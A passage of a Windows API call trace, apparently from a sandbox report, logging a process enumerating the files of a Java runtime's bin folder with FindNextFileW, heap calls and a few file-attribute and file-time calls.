ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="")) returned 0 [0087.977] GetLastError () returned 0x12 [0087.977] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0087.977] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.977] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.977] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1 [0087.977] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin" (normalized: "c:\\program files (x86)\\java\\jre7\\bin"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0087.977] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin" (normalized: "c:\\program files (x86)\\java\\jre7\\bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0087.977] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0087.977] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0087.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0087.978] NtClose (Handle=0x16c) returned 0x0 [0087.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd00) returned 1 [0087.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd00 [0087.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e1c8 [0087.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e250 [0087.978] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0087.979] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.981] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x11e7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="awt.dll", cAlternateFileName="")) returned 1 [0087.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.982] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x255a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="axbridge.dll", cAlternateFileName="")) returned 1 [0087.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.984] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76eb12e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="client", cAlternateFileName="")) returned 1 [0087.984] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcpr.dll", cAlternateFileName="")) returned 1 [0087.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.985] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="decora-sse.dll", cAlternateFileName="")) returned 1 [0087.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.986] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x58fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.dll", cAlternateFileName="")) returned 1 [0087.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.988] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dtplugin", cAlternateFileName="")) returned 1 [0087.988] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x63a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0087.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.989] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_socket.dll", cAlternateFileName="")) returned 1 [0087.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.991] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1a9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.dll", cAlternateFileName="")) returned 1 [0087.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.992] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x34fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontmanager.dll", cAlternateFileName="")) returned 1 [0087.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.993] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.993] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.993] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x263a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="fxplugins.dll", cAlternateFileName="")) returned 1 [0087.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.995] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x26fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass.dll", cAlternateFileName="")) returned 1 [0087.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.996] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x63ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="glib-lite.dll", cAlternateFileName="")) returned 1 [0087.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.998] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7b7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="gstreamer-lite.dll", cAlternateFileName="")) returned 1 [0087.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0087.999] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x205a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hprof.dll", cAlternateFileName="")) returned 1 [0087.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0087.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.000] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x32ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="installer.dll", cAlternateFileName="")) returned 1 [0088.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1c1a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="instrument.dll", cAlternateFileName="")) returned 1 [0088.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.003] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pcsc.dll", cAlternateFileName="")) returned 1 [0088.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.005] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pkcs11.dll", cAlternateFileName="")) returned 1 [0088.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.006] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, 